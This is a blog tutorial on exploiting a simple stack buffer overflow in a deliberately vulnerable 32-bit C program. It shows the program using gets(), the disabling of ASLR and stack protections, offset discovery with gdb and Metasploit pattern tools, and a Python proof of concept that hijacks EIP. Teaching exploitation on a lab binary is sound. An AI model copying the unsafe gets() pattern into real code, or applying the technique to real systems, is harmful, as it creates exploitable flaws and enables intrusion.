samiux.github.io

Infosec Ninjas 资安忍者

View on GitHub
Home Projects Articles Apophthegm About

Basic Buffer Overflow Exploit Made Easy

According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the vuln.c :

#include <stdio.h>
 
void hacker()
{
        printf("No, I'm a hacker!\n");
}
 
void inSecure()
{
        char name[30];
        printf("What is your name?\n");
        gets(name);
        printf("Hey %s, you're harmless, aren't you?\n", name);
}
 
int main()
{
        inSecure();
        return 0;
}

The hacker function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

sudo apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely checksec.sh.

wget https://www.trapkit.de/tools/checksec.sh

Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

dos2unix checksec.sh

chmod +x checksec.sh

Run the following command and you will find out that NX is enabled.

./checksec.sh --file vuln
./checksec.sh --file vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   vuln

To double check the file is compiled into 32-bit.

file vuln
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.

./vuln 

What is your name?
samiux
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, you're harmless, aren't you?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln
gdb ./vuln
 
GNU gdb (Debian 8.2.1-2) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
 
For help, type "help".
Type "apropos word" to search for commands related to "word"...
(gdb)

Feed in the junk characters.

(gdb)  r < a.txt
(gdb)  r < a.txt
Starting program: /root/Documents/vuln < a.txt
What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, you're harmless, aren't you?
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers
(gdb) info registers
eax            0x55                0x55
ecx            0x1f                0x1f
edx            0xf7fa9890          0xf7fa9890
ebx            0x41414141          0x41414141
esp            0xffffd330          0xffffd330
ebp            0x41414141          0x41414141
esi            0xf7fa8000          0xf7fa8000
edi            0xf7fa8000          0xf7fa8000
eip            0x41414141          0x41414141
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                0x23
ss             0x2b                0x2b
ds             0x2b                0x2b
es             0x2b                0x2b
fs             0x0                 0x0
gs             0x63                0x63
(gdb)

We noticed that the EIP is overwritten with A. That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the pattern_create.rb to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt
(gdb) r < b.txt
Starting program: /root/Documents/vuln < b.txt
What is your name?
Hey Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab, you're harmless, aren't you?
 
Program received signal SIGSEGV, Segmentation fault.
0x41346241 in ?? ()

The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with 0x41346241.

(gdb) info registers
(gdb)  info registers
eax            0x55                0x55
ecx            0x1f                0x1f
edx            0xf7fa9890          0xf7fa9890
ebx            0x62413162          0x62413162
esp            0xffffd330          0xffffd330
ebp            0x33624132          0x33624132
esi            0xf7fa8000          0xf7fa8000
edi            0xf7fa8000          0xf7fa8000
eip            0x41346241          0x41346241
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                0x23
ss             0x2b                0x2b
ds             0x2b                0x2b
es             0x2b                0x2b
fs             0x0                 0x0
gs             0x63                0x63
(gdb)

We use the tool namely pattern_offset.rb to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function hacker. So, we need to find out the address of the function of hacker.

(gdb) info functions
(gdb) info functions
All defined functions:
 
Non-debugging symbols:
0x56556000  _init
0x56556030  printf@plt
0x56556040  gets@plt
0x56556050  puts@plt
0x56556060  __libc_start_main@plt
0x56556070  __cxa_finalize@plt
0x56556080  _start
0x565560c0  __x86.get_pc_thunk.bx
0x565560d0  deregister_tm_clones
0x56556110  register_tm_clones
0x56556160  __do_global_dtors_aux
0x565561b0  frame_dummy
0x565561b5  __x86.get_pc_thunk.dx
0x565561b9  hacker
0x565561e4  inSecure
0x56556233  main
0x5655624f  __x86.get_pc_thunk.ax
0x56556260  __libc_csu_init
0x565562c0  __libc_csu_fini
0x565562c4  _fini
(gdb) disass hacker
(gdb) disass hacker
Dump of assembler code for function hacker:
   0x565561b9 <+0>:     push   ebp
   0x565561ba <+1>:     mov    ebp,esp
   0x565561bc <+3>:     push   ebx
   0x565561bd <+4>:     sub    esp,0x4
   0x565561c0 <+7>:     call   0x5655624f <__x86.get_pc_thunk.ax>
   0x565561c5 <+12>:    add    eax,0x2e3b
   0x565561ca <+17>:    sub    esp,0xc
   0x565561cd <+20>:    lea    edx,[eax-0x1ff8]
   0x565561d3 <+26>:    push   edx
   0x565561d4 <+27>:    mov    ebx,eax
   0x565561d6 <+29>:    call   0x56556050 <puts@plt>
   0x565561db <+34>:    add    esp,0x10
   0x565561de <+37>:    nop
   0x565561df <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x565561e2 <+41>:    leave  
   0x565561e3 <+42>:    ret    
End of assembler dump.
(gdb)

We find out that the address of function hacker is 0x565561b9.

Now, the payload will be as the following :

42’s A and (the address of hacker function)

The PoC Python code poc.py :

import struct
 
def p(x):
        return struct.pack("<L", x)
 
offset = 42
hacker = 0x565561b9
 
payload = ""
payload += "A" * offset
payload += p(hacker)
 
print payload

Exploit it now :

python poc.py | ./vuln

What is your name?  
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV, you're harmless, aren't you?  
No, I'm a hacker!  
Segmentation fault  

The hidden hacker function is ran as a result.

Bonus

To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt
(gdb) r < c.txt
(gdb) r < c.txt
Starting program: /root/Documents/vuln < c.txt
What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB, you're harmless, aren't you?
 
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
(gdb) info registers
eax            0x51                0x51
ecx            0x1f                0x1f
edx            0xf7fa9890          0xf7fa9890
ebx            0x41414141          0x41414141
esp            0xffffd330          0xffffd330
ebp            0x41414141          0x41414141
esi            0xf7fa8000          0xf7fa8000
edi            0xf7fa8000          0xf7fa8000
eip            0x42424242          0x42424242
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                0x23
ss             0x2b                0x2b
ds             0x2b                0x2b
es             0x2b                0x2b
fs             0x0                 0x0
gs             0x63                0x63
(gdb)
(gdb) x/50xw $esp -100
(gdb) x/50xw $esp -100
0xffffd2cc: 0xf7e20946  0xf7fa8d80  0x56557030  0xffffd2f4
0xffffd2dc: 0xf7e20920  0x56557030  0xf7ffd950  0xf7e20925
0xffffd2ec: 0x5655622a  0x56557030  0xffffd302  0x00000000
0xffffd2fc: 0x565561f0  0x414183fc  0x41414141  0x41414141
0xffffd30c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd31c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd32c: 0x42424242  0xf7fa8000  0xf7fa8000  0x00000000
0xffffd33c: 0xf7de8b41  0x00000001  0xffffd3d4  0xffffd3dc
0xffffd34c: 0xffffd364  0x00000001  0x00000000  0xf7fa8000
0xffffd35c: 0xffffffff  0xf7ffd000  0x00000000  0xf7fa8000
0xffffd36c: 0xf7fa8000  0x00000000  0x624de69b  0x20fd608b
0xffffd37c: 0x00000000  0x00000000  0x00000000  0x00000001
0xffffd38c: 0x56556080  0x00000000

The EIP address is 0xffffd32c.

Samiux
OSCE OSCP OSWP
May 9, 2019, Hong Kong, China

Home Projects Articles Apophthegm About